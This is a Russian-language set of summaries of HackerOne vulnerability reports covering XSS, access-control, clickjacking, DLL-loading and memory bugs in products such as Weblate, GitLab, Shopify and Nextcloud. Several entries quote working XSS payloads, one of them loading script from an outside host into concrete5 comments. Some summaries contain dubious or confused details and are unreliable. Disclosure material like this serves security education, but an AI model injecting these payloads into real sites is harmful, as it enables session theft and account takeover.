https://hackerone.com/reports/610219

Этот репорт описывает уязвимость в веб-приложении Weblate. Уязвимость связана с недостаточной валидацией и санитизацией в поле "Project Name" на странице создания проекта. Это позволяет злоумышленнику внедрить сохраненный XSS-скрипт, который может повлиять на всех пользователей в приложении Weblate.

Шаги для эксплуатации уязвимости:

1. Администратор создает проект и добавляет пользователя в этот проект.
2. Пользователь, в зависимости от прав, входит, выбирает проект в разделе "Watched Projects", переходит в "Manage", "Settings" и имеет возможность изменить название проекта. Нужно ввести `<svg/onload=alert(document.domain)>` и сохранить.
3. Когда пользователь посещает свою страницу "/accounts/profile/", он запускает сохраненный XSS-скрипт.

Уязвимость также может затронуть пользователя, который не имеет доступа к этому проекту. Если проект является публичным, то он также может быть атакован через эту уязвимость. При этом злоумышленники получат возможность атаковать администратора приложения.

Потенциально это может повлиять на всех пользователей приложения. Уязвимость заключается в отсутствии валидации и санитизации в поле "Project Name".

https://hackerone.com/reports/614355

Этот репорт описывает уязвимость в GraphQL реализации Gitlab. С помощью GraphQL запускается запрос к «namespace» и получается доступ к приватным данным, которые не доступны через стандартный API или Web API. В примере пользователя rpadovani на странице пользовательского домена показано, что Graphql запрос обнаруживает конфиденциальную информацию, такую как описание приватных групп и субгрупп.

Эксплуатация этой уязвимости может позволить нарушителю обойти проверку "приватного профиля" и получить доступ к метаданным секретных групп. Хотя в данном случае в связи с недавной реализацией GraphQL реализации, вред от такой небольшой уязвимости может быть ограниченным.

https://hackerone.com/reports/614947

Этот репорт описывает уязвимость в механизме защиты от кликджекинга, используемом сервисом New Relic. Уязвимость заключается в том, что механизм CSP со директивой "frame-ancestors", используемый для защиты от кликджекинга, не поддерживается в браузере IE11, который имеет некоторую долю на рынке. Это означает, что злоумышленник может использовать IE11 для атаки на пользователей сервиса New Relic, вынуждая их совершать чувствительные действия, такие как взаимодействие с REST API-ключом. Автор предоставил шаги для воспроизведения уязвимости и видео-доказательство концепции (Proof of Concept). Уязвимость должна быть исправлена, чтобы защитить пользователей и их данные от атак.

https://hackerone.com/reports/615672

Этот репорт описывает уязвимость в программном обеспечении компании Quantopian, которая позволяет злоумышленнику запустить javascript в браузере другого пользователя через использование веб-сокетов. Конкретное место, где эта уязвимость возникает - страница */algorithms/algoid/x*.

Шаги эксплуатации этой уязвимости:

1. Злоумышленник перехватывает сообщение websocket, которое используется для обновления ввода в интерфейсе отладчика.
2. Злоумышленник заменяет значение этого сообщения на злонамеренный javascript-код.
3. Злоумышленник отправляет измененное сообщение, и злонамеренный код начинает выполняться в браузере коллаборатора.

Это может привести к тому, что злоумышленник получит контроль над компрометированным аккаунтом и сможет провести различные виды атак на жертву, такие как кража личных данных, доступ к чувствительной информации и т.д.

https://hackerone.com/reports/615840

Этот репорт описывает уязвимость на сайте https://www.data.gov/, которая позволяет провести атаку XSS (межсайтовый скриптинг). Для эксплуатации уязвимости злоумышленник должен заполнить поля "Заголовок проблемы" и "Описание проблемы" веб-формы на странице https://www.data.gov/issue/ введением XSS-пейлоада, который будет выполнен в административной панели на странице https://labs.data.gov/crm/admin/report/662445.

Эксплойт может привести к краже администраторской сессии, что может позволить злоумышленнику получить полный доступ к сайту и его данным.

Для предотвращения использования этой уязвимости со стороны злоумышленников, необходимо провести проверку вводимых данных на наличие вредоносного кода (например, с помощью фильтрации вводимых символов). Также рекомендуется использование механизмов защиты, таких как Content Security Policy (CSP) и HTTP-only куки.

https://hackerone.com/reports/616770

Данный репорт описывает выявленную уязвимость типа Stored XSS в модуле Conversations фреймворка concrete5. Атакующий может внести вредоносный скрипт, который запустится как на стороне клиента, так и на бэкэнде приложения. Для воспроизведения атаки необходимо установить редактор Rich Text в System & Settings->Conversations->Settings и вставить скрипт `<script src="http://bl4de.tech/poc.js"></script>` в поле комментария на странице блога при сохранении, после чего он будет выполнен. Имеется потенциальная возможность для злоумышленника запускать произвольный JavaScript на всех клиентах, использовать CSRF-атаки, а также выполнять любые действия в контексте текущего пользователя в бэкэнде. Уязвимость была проверена в различных браузерах и версиях PHP, Apache и MySQL. Уязвимость имеет серьезный уровень угрозы и, скорее всего, необходимо незамедлительно принимать меры для ее устранения.

https://hackerone.com/reports/617896

Данный репорт сообщает о уязвимости в интеграции входа через аккаунт Salesforce в Gitlab. Атакующий может зарегистрироваться на Gitlab с произвольным доменом электронной почты, обойдя все ограничения на домены электронной почты (белый и черный списки) и ограничения, которые могут быть настроены сторонними компаниями, использующими Gitlab.

Чтобы воспроизвести ошибку, необходимо зайти на https://bugcrowd-ngalog-3.oktapreview.com/, ввести логин и пароль, нажать кнопку «salesforce», затем в новой вкладке открыть страницу https://gitlab.com/users/sign_in, нажать кнопку «login with salesforce», после чего на странице https://gitlab.com/profile/emails будет доступна возможность зарегистрироваться с произвольным доменом электронной почты.

Эксплуатация данной уязвимости может привести к регистрации на Gitlab с помощью домена электронной почты, который не был бы допущен ограничениями на стороне Gitlab и третьих сторон, что может привести к компрометации ценной информации и нарушению целостности системы.

https://hackerone.com/reports/618031

Этот репорт описывает уязвимость само-ХСС (self-xss) на веб-сайте Shopify. Шаги эксплуатации уязвимости описаны следующим образом:

1. Создать новый продукт и задать имя магазина, которое содержит вредоносный код: '"'><img src=x onerror=alert(domain.domain)>'. Здесь вредоносный код используется в качестве имени магазина.

2. Перейти на страницу «Скидки - Коды», где можно добавить скидочный код. Код использует URL адрес https://mosuan-img-src-x.myshopify.com/admin/discounts/367541518396.

3. Добавить комментарий к выбранному продукту, который был создан на шаге 1.

4. В результате выполнения шагов 1-3, возникает опасность получения персональных данных посетителя сайта, таких как его cookie, и получение удаленного доступа к аккаунту Shopify.

Этот репорт демонстрирует небольшой пример того, как использование вредоносного кода вместо настоящего имени магазина ведет к уязвимости само-ХСС и открытию двери для атакующих на веб-сайте.

https://hackerone.com/reports/619484

В данном репорте описана уязвимость безопасности в приложении Nextcloud, которая позволяет пользователю получить возможность изменять содержимое папки с ограниченными правами доступа. Конкретно, хакер может получить доступ к папке только для чтения, но с помощью API Nextcloud он может повысить свои права на изменение, удаление и добавление файлов в эту папку. После этого злоумышленник может изменить содержимое папки таким образом, чтобы это повлияло на других пользователей, у которых есть доступ к этой папке, например, загрузить другие файлы и тем самым изменить принадлежащие папке файлы на сервере. Это может привести к потенциальному утечке конфиденциальных документов, если папка содержит важные документы организации или другие конфиденциальные данные. Это является серьезной проблемой безопасности и должно быть незамедлительно исправлено.

https://hackerone.com/reports/621308

Этот репорт описывает уязвимость в Ruby-подобном языке программирования mruby. Уязвимость возникает при использовании функции `remove_instance_variable`, которая позволяет удалить переменную экземпляра объекта. При передаче функции `remove_instance_variable` некорректных значений появляется возможность вызвать отказ в обслуживании и возможно раскрыть информацию, известную злоумышленнику.

Шаги эксплуатации включают выполнение POC-кода (приложенного в репорте), который перезаписывает адрес экземпляра объекта, что ведет к некорректному чтению памяти и краху программы. Приложение выдает отчет об ошибках, в котором указываются области кода, которые привели к краху и адреса памяти, которые попытались быть прочитаны.

Эта уязвимость может привести к серьезным последствиям для приложения, которое использует mruby, так как она позволяет злоумышленнику вызвать отказ в обслуживании и потенциально получить чувствительную информацию, хранящуюся в памяти программы.

https://hackerone.com/reports/622170

Этот репорт описывает уязвимость в приложении Nextcloud для Windows, в котором используется OpenSSL библиотека с предустановленным файлом конфигурации openssl.cnf, который при запуске приложения ищется в c:\usr\local\ssl\. Поскольку по умолчанию на большинстве систем Windows пользователи с низкими правами имеют возможность создавать файлы в директории c:\, это может быть использовано злоумышленником для создания фальшивого файла openssl.cnf, который загрузит вредоносную .dll библиотеку и вызовет произвольное выполнение кода при запуске приложения. Это может привести к исполнению произвольного кода на уязвимой системе и возможности повышения привилегий до уровня администратора. В репорте также приведены два примера эксплойтов, позволяющих создавать локальных администраторов и выполнять произвольный код. Предложенные рекомендации для исправления проблемы включают перекомпиляцию OpenSSL библиотеки с указанием директории, в которой файл конфигурации будет находиться в недоступном для пользователей с низкими привилегиями месте.

https://hackerone.com/reports/622864

Этот репорт сообщает о наличии уязвимости в программном обеспечении на устройстве ASA, которая позволяет атакующему производить обход аутентификации и получать доступ к конфиденциальным файлам. Атакующий может использовать это для перечисления структуры директории VPN и получения привилегированного доступа к системе для получения информации о сессии.

Шаги эксплуатации уязвимости включают использование cURL или Burp для перечисления привилегированных директорий и получения конфиденциальной информации.

Рекомендуемым действием для устранения этой уязвимости является обновление программного обеспечения ASA до версии, указанной в соответствующем заявлении о безопасности.

Присутствует высокий уровень воздействия, поскольку данная уязвимость позволяет злоумышленнику перечислять файлы после аутентификации и раскрывать конфиденциальную информацию.

https://hackerone.com/reports/622937

Этот репорт описывает утечку частных IP-адресов через ответ на запрос в Urban Clap. Автор сообщает, что при запросе он обнаружил несколько IP-адресов из частной сети. После исследования он нашел, что эти адреса относятся к частной сети. Автор не уверен в серьезности этого проблемы, но сообщает, что данная информация может помочь злоумышленнику выявить другие уязвимости в будущем.

Шаги для воспроизведения включают загрузку https://www.urbanclap.com и открытие ответа в Burp Suite. В ответе на запрос можно найти упомянутые IP-адреса.

Такая информационная утечка может быть незначительна сама по себе, но может стать частью цепочки, помогающей атакующему получить больше информации о системе и в результате провести более агрессивную атаку.

https://hackerone.com/reports/623588

Этот репорт описывает уязвимость в PHP версии 7.1.29. Уязвимость связана с методом gdImageCreateFromXbm из файла ext/gd/libgd/gd_xbm.c. Метод содержит строки кода, которые инициализируют переменную "b" неправильно. Если метод sscanf не может прочитать шестнадцатеричное значение, то переменная b будет содержать неинициализированные данные. Это может привести к утечке данных из стека памяти в случае их использования. Уязвимость была обнаружена и зарегистрирована сотрудником HackerOne. Ей был присвоен идентификатор CVE-2019-11038. Компания PHP выпустила исправление уязвимости.

https://hackerone.com/reports/625199

Этот репорт относится к уязвимости в REST API фреймворка Nextcloud для WordPress. С помощью этой уязвимости злоумышленники могут получить информацию обо всех пользователях WordPress, включая их имена и другие данные.

Для воспроизведения атаки злоумышленник должен ввести определенный URL в браузере, который позволит получить доступ к информации о пользователях WordPress.

Если злоумышленник сможет получить доступ к информации об авторах и редакторах Nextcloud, это может привести к серьезным последствиям для этих пользователей. Злоумышленник может использовать эту информацию для атаки методом перебора паролей или других методов.

Поэтому для предотвращения таких атак необходимо обновлять и патчить уязвимые версии WordPress и приложений, которые используют его API. Также рекомендуется использовать сильные пароли, двухфакторную аутентификацию и другие меры безопасности.

https://hackerone.com/reports/625546

Данный репорт описывает найденную уязвимость в форме подтверждения аккаунта на unikoingold.com, которая позволяет провести открытый редирект. Автор репорта создал аккаунт, заполнил все необходимые поля, прошел до последнего шага подтверждения аккаунта и получил письмо со ссылкой для подтверждения. Затем он перехватил запрос в Burp Suite и обнаружил уязвимость в параметре "l" ссылки. Изменяя значение этого параметра, он смог осуществить редирект на злоумышленный сайт и выполнить на нем скрипт с XSS-уязвимостью.

Эксплуатация данной уязвимости может привести к утечке учетных данных пользователя, так как происходит переход на злоумышленный сайт, где может быть выполнен опасный скрипт. Это может быть использовано для проведения фишинговой атаки на пользователей сайта.

https://hackerone.com/reports/626082

Этот репорт сообщает о наличии уязвимости типа stored XSS в NR One через dashboard builder. Уязвимость позволяет атакующему запустить код (payload), который выполнится на странице, куда была вставлена ссылка на этот код. Для воспроизведения этой уязвимости необходимо выполнить следующие шаги:

1. Перейти в chart builder в NR One.
2. Переключиться в режим NRQL.
3. Вставить следующий NRQL-запрос в поле поиска:

```SELECT `“><img src=x onerror=alert(document.domain)> "' Style=position` FROM SyntheticCheck```

4. Нажать Enter.
5. Кликнуть на кнопку "My recent queries".
6. Будет запущен payload.

Эту уязвимость можно использовать для атаки на других пользователей, отправив им ссылку на payload в адресной строке. Это работает потому, что параметр overlay в этой ссылке закодирован Base64 и содержит payload в запросе.

Уязвимость может привести к исполнению произвольного кода в браузере пользователя или к краже данных из веб-приложения.

https://hackerone.com/reports/627245

Этот репорт описывает уязвимость в функции header_append библиотеки CURL, которая может быть использована для выполнения атаки на удаленный сервер. Эксплойт может быть запущен через злонамеренный сервер, который подает большой заголовок и передает скомпрометированный ответ, содержащий код, который может быть выполнен на целевой системе. Также может быть использован специальный аргумент при запуске самой утилиты CURL или через CURL API. Уязвимость заключается в несанкционированном обращении к памяти, и может привести к удаленному выполнению кода на целевой системе. Исправление заключается в проверке длины заголовка перед его обработкой в функции header_append. Однако, поскольку патч еще не был выпущен, рекомендуется осторожность при использовании библиотеки CURL и по возможности ограничить передачу больших заголовков.

https://hackerone.com/reports/627376

Этот репорт описывает уязвимость в модуле http-live-simulator версии 1.0.7, которая позволяет атакующему абстурдным образом привести к падению сервера. Исправление предыдущей уязвимости привело к новой, и если отправить на сервер запрос с URL-адресом `http://localhost:8080/../?a`, то значение поля `pathname` станет пустым, что приведет к обходу необходимой проверки и вызовет ошибку из-за неправильного использования функции `res.write()`, которая должна принимать только строки или буферы, а в данном случае она получит значение `undefined`.

Для эксплуатации уязвимости атакующему нужно установить модуль http-live-simulator версии 1.0.7, запустить сервер и отправить специально сформированный запрос. Это может привести к отказу в обслуживании.

Для исправления уязвимости разработчику необходимо добавить проверку и добавление `/` к `pathname` в случае если оно стало пустым после проверки.

https://hackerone.com/reports/629087

Этот репорт описывает уязвимость в SPF записи (это запись в DNS, которая указывает, какие IP-адреса могут отправлять почту от имени домена), обнаруженную в сайте chainlink.com. Уязвимость заключается в том, что текущая SPF запись не предотвращает подделку отправителя почты и позволяет злоумышленнику отправить фальшивое письмо от имени этого домена.

Для решения этой уязвимости автор рекомендует заменить значение "~all" на "-all" в SPF записи. Это заставит почтовые сервера отвергать любое письмо, которое не было отправлено с полномочиями владельца домена.

Если уязвимость не будет устранена, злоумышленник может отправлять фишинговые или спам-письма от имени chainlink.com, что может привести к финансовым потерям или компрометации пользователей этого сайта.

https://hackerone.com/reports/629150

В данном репорте исследователь сообщает о найденной им уязвимости на платформе Shopify, позволяющей любому пользователю отключить комментарии на скидках для всех сотрудников магазина, включая администратора. Он объясняет, что это происходит из-за применения `GraphQL` для создания комментария, который содержит **тег страницы ссылки** для другого магазина, что приводит к ошибке внутренней системы, влияющей на отключение комментариев на скидках для всех в магазине. В репорте представлены шаги воспроизведения проблемы, а также пример GraphQL запроса и видео, демонстрирующее это поведение.

Это может привести к отключению комментариев на скидках для всех сотрудников магазина, что может привести к недостаточной обратной связи и снижению продаж. Кроме того, у злоумышленника, имеющего доступ к системе, могут возникнуть возможности для вредоносной деятельности. В целом, данная уязвимость представляет серьезный риск для безопасности и операционной деятельности интернет-магазинов, использующих платформу Shopify.